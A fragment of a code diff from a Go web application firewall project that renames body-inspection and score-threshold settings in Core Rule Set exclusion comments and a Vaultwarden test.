 	requests := recordedRequests(t, "forgejo-requests.txt")
 	forgejoOnly := map[string][]string{"example.com": {forgejo}}

internal/coreruleset/vaultwarden.conf

@@ -5,7 +5,7 @@
 # before the rules it switches off, so this file is loaded before the Core Rule
 # Set's rules. Each comment names a request a rule refused. An exclusion on a
 # field of a body applies only when the query has no parameter of that name, so
-# it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
+# it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
 #
 # The apps encrypt the names, notes, addresses and file names of vault items,
 # folders, collections and sends before they send them. These values pass

internal/coreruleset/vaultwarden_test.go

@@ -13,7 +13,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
-// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
+// vaultwardenThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
 const vaultwardenThreshold = 5
 
 // Paths of Vaultwarden's API and admin page.
@@ -456,8 +456,11 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
 		},
 	} {
 		body := passwordBody(t, sent.r, sent.names, hashes...)
-		if len(body) > bodyLimit {
-			t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
+		if len(body) > bodyInspectionSize {
+			t.Fatalf(
+				"a body of %d bytes is cut at bodyInspectionSize",
+				len(body),
+			)
 		}
 
 		if got, _ := inspectBody(t, crs, sent.r, body); len(

internal/coreruleset/wordpress.conf

@@ -3,7 +3,7 @@
 # the rules it switches off, so this file is loaded before the Core Rule Set's
 # rules. Each comment names a request the rule refused. An exclusion on a field
 # of a body applies only when the query has no parameter of that name, so it
-# matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
+# matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
 
 # Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
 # it while SWW_WAF_APPS is unset, or lists wordpress for the request's hostname.